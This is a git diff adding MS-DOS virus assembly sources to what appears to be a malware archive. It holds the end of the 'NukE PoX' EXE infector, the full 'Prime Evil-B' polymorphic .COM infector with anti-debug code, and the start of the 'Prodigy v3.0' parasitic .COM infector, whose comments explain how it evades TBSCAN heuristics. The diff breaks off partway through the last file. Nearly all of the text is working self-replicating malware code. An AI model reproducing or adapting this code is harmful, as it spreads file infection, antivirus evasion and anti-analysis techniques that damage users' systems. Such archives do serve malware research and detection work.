dx,word ptr cs:[buffer+8] + mov word ptr cs:[buffer+22],dx ;Restore New CS + mov word ptr cs:[buffer+20],ax ;Restore New IP + pop dx + pop ax + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply ;Figure a new SS:SP + sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall + add ax,40h + mov word ptr cs:[buffer+14],dx ;New SS Pointer + mov word ptr cs:[buffer+16],ax ;New SP Pointer + pop dx + pop ax + + push bx + push cx + mov cl,7 ;Fix for Header for + shl dx,cl ;new file size in 512 + ;byte pages + mov bx,ax + mov cl,9 ;And the remainder + shr bx,cl ;after dividing by + ;512... + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: + pop cx + pop bx + + mov word ptr cs:[buffer+2],ax ;Save Remainder + mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag + call infect_me ;INFECT File! Yeah! + jc exit_exe + + mov ah,40h ;Write NEW EXE Header back + mov dx,offset ds:[buffer] ;to EXE File! Points to + mov cx,20h ;The Virus Now!!! ehhe + int 21h +exit_exe: + jmp exit_now + +rocko endp + +exe_ip dw 0 ;Original IP,CS,SP,SS From EXE +exe_cs dw 0 ;Header! +exe_sp dw 0 +exe_ss dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,40h ;Write the New Encrypted + mov dx,offset init_virus ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Fix EXE Header...Gets new SS, CS Values for EXEs headers +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +multiply proc near + push bx + push cx + mov cl,0Ch + shl dx,cl + + mov bx,ax + mov cl,4 + shr bx,cl + + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +multiply endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check to see if an `Anti-Viral' Product is being executed. +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +check_name proc near + push si + push cx + + mov si,dx + mov cx,128h +loop_me: + cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String + je next_ok + inc si + loop loop_me +next_ok: + cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT) + jne next_1 ;Naaa + cmp ds:[si-4],'RP' + je bad_file ;Yupe... +next_1: + cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee) + jne next_2 ;Naaa + cmp ds:[si-4],'CS' + je bad_file ;Yupe... +next_2: + cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE + jne next_3 ;Naaa + cmp ds:[si-4],'EL' + je bad_file ;Yupe... +next_3: + pop cx + pop si ;good file Set CARRY FLAG + clc ;to normal + retn +bad_file: + pop cx ;Bad file, Set CARRY FLAG + pop si ;ON!!! + stc + retn +check_name endp + +command db "C:\COMMAND.COM",0 ;What to infect! +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h + db 30h DUP (?) +msg db "NukE PoX V1.1 - R.S" +last: +seg_a ends + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.prime-b.asm b/MSDOS/Virus.MSDOS.Unknown.prime-b.asm new file mode 100644 index 00000000..1abad1eb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.prime-b.asm @@ -0,0 +1,1167 @@ +comment % +=============================================================================== + + Prime Evil-B Overwriter "Virus" Source + Disassembled by Cruel Entity of The Funky Pack of CyberPunks + Notes: + Interresting programming style... :) + +=============================================================================== + % + +id equ 0DB33h +dta_filename equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +prime proc far + +vstart equ $ + +start: + xor bx,bx ; Zero register + nop + nop + nop + nop + call decrypt+1 ; decrypt + nop + nop + nop + db 0ebh,46h ;jump to crypt_beg + +prime endp + + +decrypt proc near +data db 00,53h,0bbh ; push bx + push sp + + add [bx+si+9090h],dx ; where to decrypt + nop + mov cx,70eh ; # of bytes to decrypt + nop + nop + nop + push cx + nop + nop + nop + mov al,cs:data + nop + nop + nop + nop +decrypt2: nop + nop + nop + xor [bx],al + nop + nop + inc bx + nop + nop + loop decrypt2 + pop cx + pop bx + nop + nop + nop + nop + inc bx + dec bx + jz return + nop + nop + nop + nop + mov ah,40h + xchg si,dx + nop + nop + int 21h + xor bx,bx + nop + nop + nop + jmp decrypt+1 +return: + ret + nop + db 0e9h,80h,00h ; used to fuck debug +decrypt endp + +crypt_beg: +fmask db '*.C*', 0 +message db 'Prime Evil! ' + db '(C) Spellbound, Line Noise 1992.',0dh,0ah + db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah + db 'Please spell my name right!$' + + +f_size db 0, 0 +f_time dw 0 +f_date dw 0 +data_12 dw 0 +m_seg dw 0 ;memory segment + + +int_24h_entry proc far ; this replaces int24 + mov bl,3 + iret ; interrupt return +int_24h_entry endp + +f_handle dw 0 +int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h +int_1: + mov dx,offset int_jmp +fuck_sr_1: + mov ax,0fe05h ; hook int 1 and int 3 + jmp fuck_sr_1+1 ; (which fucks debug) + add ax,0ebfeh + sub ah,0b1h + int 21h + add al,02h + int 21h + mov al,0ffh + out 21h,al + + mov ah,4ah + mov bx,00c8h + int 21h + mov ah,48h + mov bx,0096h + int 21h + mov cs:m_seg,ax ; allocate memory + + mov ax,2524h + mov dx,offset int_24h_entry + int 21h ; change int24h + ; set intrpt vector al to ds:dx + + mov ah,2Ah ; get date + int 21h + + cmp dl,1 ; is it day 1? + + jne not_day1 ; no it isn't + + mov ah,9 + mov dx,offset message ; then display a message + int 21h ; + ; + call pan_screen ; and pan the screen + + +not_day1: + mov dx,offset fmask + mov ah,4Eh + int 21h ; find 1st .COM file + + jnc found_com ; if no error, move on to + ; found_com + + xor al,al ; no .COM file found + out 21h,al ; exit to dos + retn +found_com: + mov ax,4300h + mov dx,dta_filename + int 21h ; get file attribute + + push cx ; save attrib + mov ax,4301h + xor cx,cx + int 21h ; set attrib to normal + + xor al,al ; + out 21h,al ; port 21h, 8259-1 int comands + + mov dx,dta_filename + mov word ptr cs:f_size,dx ; save file size + + mov ax,3D02h + int 21h ; open file + + jnc opened_ok ; Jump if not error + jmp find_next ; +; +; ^^^ interesting way of solving the error jumping... +; + +opened_ok: + mov cs:f_handle,ax ; save file handle + + mov ax,5700h ; get file date/time + mov bx,cs:f_handle + int 21h + + jnc get_date_ok ; Jump if no error + + retn ; error when checking + ; file time/date, exit to DOS + +get_date_ok: + mov cs:f_time,cx ; save file time + mov cs:f_date,dx ; and file date + + + mov ah,3Fh ; read file to memory + mov cx,70eh ; <- virus size + push ds ; save data seg + mov ds,cs:m_seg ; memory segment + mov dx,0 + int 21h + + push ax ; save bytes + + mov si,0 + lodsw ; String [si] to ax + xchg ax,si + pop ax + pop ds ; restore data seg + mov word ptr cs:f_size,ax ; save file size + cmp si,id ; already infected?? + jne readed_ok ; nope... + jmp already_inf ; +readed_ok: + push ds ; save data seg + mov ds,cs:m_seg ; copy memory seg to ds + mov es,cs:m_seg ; and es + xor di,di ; + xor si,si ; + mov cx,70eh ; virus size + + mov ah,0F3h ; decryption value + +crypt_file: + lodsb ; load a byte + xor al,ah ; decrypt it + stosb ; and save it + loop crypt_file + + pop ds ; restore data seg + + mov ax,4200h ; move file ptr. + xor cx,cx ; to beginning of file + xor dx,dx + int 21h + + mov ah,2Ch ; get system time + int 21h + + xchg dh,al ; second to al + xor ah,ah ; + mul cl ; cl * al = ax + ; (min * sec = ax) + add al,dl ; add al,minutes + add ax,70eh ; add ax,virulen + add al,byte ptr cs:[10Eh] + mov byte ptr cs:[10Eh],al + + call crypt ; decrypt the shit + + push cs ; cs to ds + pop ds + + mov si,100h + mov bx,cs:f_handle + call decrypt+1 + + mov ax,4202h ; move file ptr to eof + mov bx,cs:f_handle + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; write original file + mov cx,word ptr cs:f_size + push ds ; save data seg + mov ds,cs:m_seg + mov dx,0 + int 21h + + pop ds ; restore data seg + + mov ax,5701h ; restore file time/date + mov cx,cs:f_time + mov dx,cs:f_date + int 21h + + jc exit ; exit if error + + mov ah,3Eh ; close file + int 21h + + pop cx + mov dx,dta_filename ; restore attrib + mov ax,4301h + int 21h + + jmp short exit +already_inf: + mov ah,3Eh ; close file + int 21h + + pop cx ; restore attrib + mov dx,dta_filename + mov ax,4301h + int 21h +find_next: + mov ah,4Fh + int 21h ; find next .COM file + + jc screw ; jump if error + jmp found_com ; else, do next .COM file + +exit: + retn ; exit to dos +screw: + int 1 ; single step + retn + +pan_screen proc near ; this routine will scroll + mov cs:data_12,0 ; the screen and reboot +loc_15: + mov bx,cs:data_12 ; lots of messing with the + mov dx,3D4h ; video ports below... + mov ah,bh ; + mov al,0Ch ; + out dx,ax ; port 3D4h, CGA/EGA reg index + ; al = 0Ch, start address high + mov ah,bl + inc al + out dx,ax ; port 3D4h, CGA/EGA reg index + ; al = 0Dh, start address low + mov dx,3DAh +loc_16: + in al,dx ; port 3DAh, CGA/EGA vid status + test al,8 + jnz loc_16 ; Jump if not zero +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + test al,8 + jz loc_17 ; Jump if zero + inc cs:data_12 + cmp cs:data_12,50h + jle loc_15 ; Jump if < or = + mov cs:data_12,0 + retn +pan_screen endp + + +crypt proc near + push cs ; move cs to ds and es + push cs + pop ds + pop es + + mov di,113h + call get_time ; get system time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_22 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_21 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_20 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_19 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_18 ; Jump if below + + call write_31h_0c7h ; The stuff below this + call write_31h_0cfh ; is just for mutating + ; some instructions in the + jmp short loc_23 ; decryptioning routine. +loc_18: ; + call write_31h_0ddh + call write_45h + call write_4fh + jmp short loc_23 +loc_19: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_23 +loc_20: + call write_8dh_3eh_BL_BH + jmp short loc_23 +loc_21: + call write_83h_0c7h_DL + call write_47h + jmp short loc_23 +loc_22: + call write_0ebh_0 + call write_31h_0ffh +loc_23: + mov di,11Ah + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_28 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_27 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_26 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_25 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_24 ; Jump if below + + call write_31h_0cfh + call write_45h + + jmp short loc_29 +loc_24: + call write_47h + call write_47h + call write_47h + jmp short loc_29 +loc_25: + call write_31h_0c7h + call write_45h + jmp short loc_29 +loc_26: + call write_0ebh_0 + call write_45h + jmp short loc_29 +loc_27: + call write_47h + call write_31h_0edh + jmp short loc_29 +loc_28: + call write_83h_0c7h_DL +loc_29: + mov di,11Eh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_34 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_33 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_32 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_31 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_30 ; Jump if below + + call write_31h_0d7h + call write_45h + + jmp short loc_35 +loc_30: + call write_31h_0edh + call write_45h + jmp short loc_35 +loc_31: + call write_83h_0c7h_DL + jmp short loc_35 +loc_32: + call write_0bfh_BL_0bfh + jmp short loc_35 +loc_33: + call write_31h_0d5h + call write_4fh + jmp short loc_35 +loc_34: + call write_4fh + call write_4fh + call write_47h +loc_35: + mov di,125h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_40 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_39 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_38 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_37 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_36 ; Jump if below + + call write_31h_0cfh + call write_31h_0c7h + + jmp short loc_41 +loc_36: + call write_45h + call write_31h_0ddh + call write_4fh + jmp short loc_41 +loc_37: + call write_31h_0ffh + call write_31h_0c5h + jmp short loc_41 +loc_38: + call write_83h_0c7h_DL + call write_47h + jmp short loc_41 +loc_39: + call write_83h_0c7h_DL + call write_4fh + jmp short loc_41 +loc_40: + call write_31h_0ffh + call write_0ebh_0 +loc_41: + mov di,129h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_46 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_45 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_44 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_43 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_42 ; Jump if below + + call write_45h + call write_31h_0edh + + jmp short loc_47 +loc_42: + call write_9h_0ffh + call write_4fh + jmp short loc_47 +loc_43: + call write_21h_0efh + call write_45h + jmp short loc_47 +loc_44: + call write_29h_0efh + call write_47h + jmp short loc_47 +loc_45: + call write_0bfh_BL_0bfh + jmp short loc_47 +loc_46: + call write_83h_0c7h_DL +loc_47: + mov di,12Eh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_52 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_51 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_50 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_49 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_48 ; Jump if below + + call write_31h_0cfh + + jmp short loc_53 +loc_48: + call write_47h + call write_4fh + jmp short loc_53 +loc_49: + call write_31h_0c5h + jmp short loc_53 +loc_50: + call write_29h_0f7h + jmp short loc_53 +loc_51: + call write_83h_0c7h_DL + jmp short loc_53 +loc_52: + call write_0ebh_0 +loc_53: + mov di,131h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_58 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_57 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_56 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_55 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_54 ; Jump if below + + call write_29h_0cfh + + jmp short loc_59 +loc_54: + call write_47h + call write_4fh + jmp short loc_59 +loc_55: + call write_31h_0f5h + jmp short loc_59 +loc_56: + call write_45h + call write_4fh + jmp short loc_59 +loc_57: + call write_9h_0efh + jmp short loc_59 +loc_58: + call write_0ebh_0 + call write_47h +loc_59: + mov di,137h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_64 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_63 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_62 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_61 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_60 ; Jump if below + + call write_31h_0c7h + call write_31h_0dfh + + jmp short loc_65 +loc_60: + call write_81h_0efh + jmp short loc_65 +loc_61: + call write_9h_0ffh + call write_21h_0efh + jmp short loc_65 +loc_62: + call write_83h_0c7h_DL + call write_47h + jmp short loc_65 +loc_63: + call write_31h_0f7h + call write_21h_0efh + jmp short loc_65 +loc_64: + call write_0ebh_0 + call write_0ebh_0 +loc_65: + mov di,13Fh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_70 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_69 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_68 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_67 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_66 ; Jump if below + + call write_31h_0d7h + call write_29h_0f7h + + jmp short loc_71 +loc_66: + call write_9h_0efh + call write_47h + call write_47h + jmp short loc_71 +loc_67: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_71 +loc_68: + call write_83h_0c7h_DL + call write_4fh + jmp short loc_71 +loc_69: + call write_31h_0ffh + call write_31h_0ffh + jmp short loc_71 +loc_70: + call write_31h_0f7h + call write_0ebh_0 +loc_71: + mov di,147h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_76 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_75 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_74 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_73 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_72 ; Jump if below + + call write_31h_0c7h + + jmp short loc_77 +loc_72: + call write_4fh + call write_4fh + jmp short loc_77 +loc_73: + call write_21h_0efh + jmp short loc_77 +loc_74: + call write_9h_0efh + jmp short loc_77 +loc_75: + call write_45h + call write_4dh + jmp short loc_77 +loc_76: + call write_0ebh_0 +loc_77: + mov di,14Dh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_82 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_81 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_80 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_79 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_78 ; Jump if below + + call write_31h_0f7h + call write_47h + + jmp short loc_83 +loc_78: + call write_31h_0ddh + call write_4fh + jmp short loc_83 +loc_79: + call write_31h_0f7h + call write_47h + jmp short loc_83 +loc_80: + call write_83h_0c7h_DL + jmp short loc_83 +loc_81: + call write_0bfh_BL_0bfh + jmp short loc_83 +loc_82: + call write_47h + call write_0ebh_0 +loc_83: + mov di,102h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_88 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_87 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_86 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_85 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_84 ; Jump if below + + call write_31h_0c7h + call write_31h_0cfh + + jmp short loc_89 +loc_84: + call write_31h_0ddh + call write_45h + call write_4fh + jmp short loc_89 +loc_85: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_89 +loc_86: + call write_8dh_3eh_BL_BH + jmp short loc_89 +loc_87: + call write_83h_0c7h_DL + call write_47h + jmp short loc_89 +loc_88: + call write_0ebh_0 + call write_31h_0ffh +loc_89: + mov di,109h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_94 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_93 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_92 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_91 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_90 ; Jump if below + + call write_0ebh_0 + call write_47h + + jmp short loc_ret_95 +loc_90: + call write_0ebh_0 + call write_4fh + jmp short loc_ret_95 +loc_91: + call write_47h + call write_47h + call write_45h + jmp short loc_ret_95 +loc_92: + call write_83h_0c7h_DL + jmp short loc_ret_95 +loc_93: + call write_47h + call write_31h_0ffh + jmp short loc_ret_95 +loc_94: + call write_0ebh_0 + call write_47h + +loc_ret_95: + retn +crypt endp + + + +get_time proc near + mov ah,2Ch ; get system time + int 21h + + retn +get_time endp + + +write_31h_0c5h proc near + mov al,31h + stosb ; Store al to es:[di] + mov al,0C5h + stosb ; Store al to es:[di] + retn +write_31h_0c5h endp + + +write_31h_0ddh proc near + mov al,31h + stosb ; Store al to es:[di] + mov al,0DDh + stosb ; Store al to es:[di] + retn +write_31h_0ddh endp + + mov al,31h + stosb ; Store al to es:[di] + mov al,0CDh + stosb ; Store al to es:[di] + retn + + +write_31h_0d5h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0D5h + stosb ; Store al to es:[di] + retn +write_31h_0d5h endp + + + +write_31h_0f5h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0F5h + stosb ; Store al to es:[di] + retn +write_31h_0f5h endp + + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0FDh + stosb ; Store al to es:[di] + retn + + +write_31h_0edh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0EDh + stosb ; Store al to es:[di] + retn +write_31h_0edh endp + + +write_31h_0c7h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + retn +write_31h_0c7h endp + + +write_31h_0dfh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0DFh + stosb ; Store al to es:[di] + retn +write_31h_0dfh endp + + +write_31h_0cfh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0CFh + stosb ; Store al to es:[di] + retn +write_31h_0cfh endp + + +write_31h_0d7h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0D7h + stosb ; Store al to es:[di] + retn +write_31h_0d7h endp + + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn + +write_31h_0f7h proc near + mov al,31h + stosb ; tore al to es:[di] + mov al,0F7h + stosb ; tore al to es:[di] + retn +write_31h_0f7h endp + + +write_31h_0ffh proc near + mov al,31h + stosb ; tore al to es:[di] + mov al,0FFh + stosb ; tore al to es:[di] + retn +write_31h_0ffh endp + + + +write_45h proc near + mov al,45h ; 'E' + stosb ; Store al to es:[di] + retn +write_45h endp + + +write_4dh proc near + mov al,4Dh ; 'M' + stosb ; Store al to es:[di] + retn +write_4dh endp + +write_47h proc near + mov al,47h ; 'G' + stosb ; Store al to es:[di] + retn +write_47h endp + + +write_4fh proc near + mov al,4Fh ; 'O' + stosb ; Store al to es:[di] + retn +write_4fh endp + + +write_0bfh_BL_0bfh proc near + mov al,0BFh + stosb ; Store al to es:[di] + mov al,bl + stosb ; Store al to es:[di] + mov al,al + stosb ; Store al to es:[di] + retn +write_0bfh_BL_0bfh endp + +write_8dh_3eh_BL_BH proc near + mov al,8Dh + stosb ; Store al to es:[di] + mov al,3Eh ; '>' + stosb ; Store al to es:[di] + mov al,bl + stosb ; Store al to es:[di] + mov al,bh + stosb ; Store al to es:[di] + retn +write_8dh_3eh_BL_BH endp + +write_83h_0c7h_DL proc near + mov al,83h + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + mov al,dl + stosb ; Store al to es:[di] + retn +write_83h_0c7h_DL endp + + +write_0ebh_0 proc near + mov al,0EBh + stosb ; Store al to es:[di] + mov al,0 + stosb ; Store al to es:[di] + retn +write_0ebh_0 endp + + +write_9h_0ffh proc near + mov al,9 + stosb ; Store al to es:[di] + mov al,0FFh + stosb ; Store al to es:[di] + retn +write_9h_0ffh endp + +write_9h_0efh proc near + mov al,9 + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_9h_0efh endp + + +write_21h_0efh proc near + mov al,21h ; '!' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_21h_0efh endp + +write_81h_0efh proc near + mov al,81h + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_81h_0efh endp + + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + retn + +write_29h_0cfh proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0CFh + stosb ; Store al to es:[di] + retn +write_29h_0cfh endp + + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0D7h + stosb ; Store al to es:[di] + retn + +write_29h_0f7h proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0F7h + stosb ; Store al to es:[di] + retn +write_29h_0f7h endp + + +write_29h_0efh proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_29h_0efh endp + +vend equ $ + +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.prodigy3.asm b/MSDOS/Virus.MSDOS.Unknown.prodigy3.asm new file mode 100644 index 00000000..87d11770 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.prodigy3.asm @@ -0,0 +1,244 @@ +; - [Prodigy] v3.0 +; Metabolis/VLAD +; _ _ .---------. +; | | |_| | T H E | +; | | _ `---------' +; _____ _____ _____ ___| | | | ______ _ _ +; | _ | | .-. | | _ | | _ | | | | ___/ | | | | +; | |_| | | `-' | | |_| | | |_| | | | | |___ | | | | +; | ___| |_|~\_\ |_____| |_____| |_| \_,. | |_|_|_| +; | | .---------------------. | | | | +; | | | - VIRUS! v3.0 - | | | | | +; |_| `---------------------' |_| |_| +; +; - Direct Action, Parasitic .COM infector +; - Restores original attributes and file date/time +; - Searches '..' until there are no more files to infect +; - Won't infect COMMAND.COM +; - Has an infection counter (set to infect 2 at a time right now) +; +; - sure, this virus is simple, and not really worth releasing.. but +; not everyone is up to understanding Qark's level of code, +; certainly not me. So for the people who are just starting off +; take a look at this one. It's the 3rd virus I've written, the +; other 2 definately not worth publishing :) hehe +; +; - Use a86 to compile + + org 0100h ; yer COM file starts + ; at this mem address + + db 0e9h,00h,00h ; jump to begin + +begin: + call $+3 ; get the delta offset +next: int 3h ; (overcomes 'E' heuristic) + pop bp ; for the virus and + sub bp, offset next ; stick it in BP + +set_dta: + + lea si, [bp+offset first3] + mov di, 100h + movsw + movsb + + ; the virus puts the original three bytes of the program back + ; at 100h so all we have to do at the end of the virus is jump + ; to 100h and it will execute the infected program as normal + + mov byte ptr [bp+counter], 00h ; initialise infection + ; counter + mov ah,47h ; get current directory + xor dl,dl ; and put it in currdir + lea si,[bp+offset currdir] ; (dl=0 <- default drive) + int 21h + + mov ah,1Ah ; Set DTA to buffer + lea dx,[bp+offset tempDTA] ; so command line params + int 21h ; aren't overwritten + +find_first: + + mov ah,4eh ; find first file + mov cx,7 ; with any attributes + dec byte ptr [bp+offset mask] + + ; the reason I dec the '+' in the filemask is because this + ; makes it an asterisk. This will get past scanners picking + ; up *.COM as a heuristic. + + lea dx,[bp+offset mask] ; look for *.COM + int 21h + inc byte ptr [bp+offset mask] + + ; this restores the '*' in the filemask to '+' for writing + ; back to disk. + + jnc open_file ; no files to infect.. + jmp load_com + +fn: + jmp find_next + + ; find_next is too far from most places so I've set this up to + ; make life easier :) it gets around the jump > 128 error. + +open_file: + + ; when a file is found with either find first or find next + ; all of its details like size, attributes, name etc are stored + ; in an area called DTA which resides at 80h (just before the + ; COM itself at 100h). In this case, the DTA has been moved + ; to another address. The different details are positioned + ; at various positions from 80h. 9eh for instance is the + ; position of the filename (ASCIIZ) + + cmp word ptr [bp+tempDTA+1eh],'OC' ; don't infect command.com + je fn ; uh oh.. find another file + lea dx,[bp+tempDTA+1eh] ; filename in DTA + mov ax,4301h ; put normal attributes + mov cx,20h ; on the file + int 21h + jc fn ; error, we outta here + mov ax,3D02h ; open that file! + lea dx,[bp+tempDTA+1eh] ; filename in DTA + int 21h + jc fn ; can't open file :( + xchg bx,ax ; put file handle in BX + +infect: + mov cx,3 ; read 3 bytes from file + mov ah,03Fh ; and stick them in first3 + lea dx,[bp+offset first3] + int 021h + + lea cx,word ptr [bp+offset first3] ; put the first 2 bytes of + ; the file in cx + add cl,ch ; add the two bytes together + cmp cl,167 ; M+Z=167 ? + je fn + + ; if I simply compared the first two bytes to 'MZ' (or 'ZM' since + ; it would be a word) this would set off a tbscan heuristic, so + ; I've used the adding method, although N+Y=167 it is not really + ; worth worrying about, I have seen the first two bytes of a COM + ; file equal 167 yet. + + call lseek_end ; move to the end of the file + + sub ax,heap-begin+3 ; subtract the virus length + cmp word ptr [bp+first3+1],ax ; see if jump is to virus + je fn ; file already infected + add ax,heap-begin ; add on to know where to + mov word ptr [bp+infjump+1],ax ; jump to and fix it up + + mov ax,4200h ; lseek to beginning of file + cwd ; xor dx,dx + xor cx,cx + int 21h + + mov cx,3 ; write 3 bytes to file + mov ah,40h ; (the new jump to the + lea dx,[bp+offset infjump] ; virus) + int 21h + + call lseek_end ; move to the end of the file + + mov cx,heap-begin ; write the virus + mov ah,40h ; to the end of the + lea dx,[bp+offset begin] ; file + int 21h + + call close_file + +load_com: + + inc byte ptr [bp+counter] ; add one to the counter + cmp byte ptr [bp+counter],2 ; check if X files have + jne find_next ; been infected + + mov ah, 1Ah ; restore DTA to original + mov dx, 80h ; position + int 21h + + mov ah,3bh ; Change directory + lea dx,[bp+offset slash] ; to the way it was + int 21h ; before the dot dot + + mov bx,101h ; we need to jump to 100h + dec bx ; this will knock out a + jmp bx ; tbscan heuristic :) + +find_next: + + call close_file ; make sure file is closed + + mov ah,4fh ; find next file + int 21h + jc dot_dot 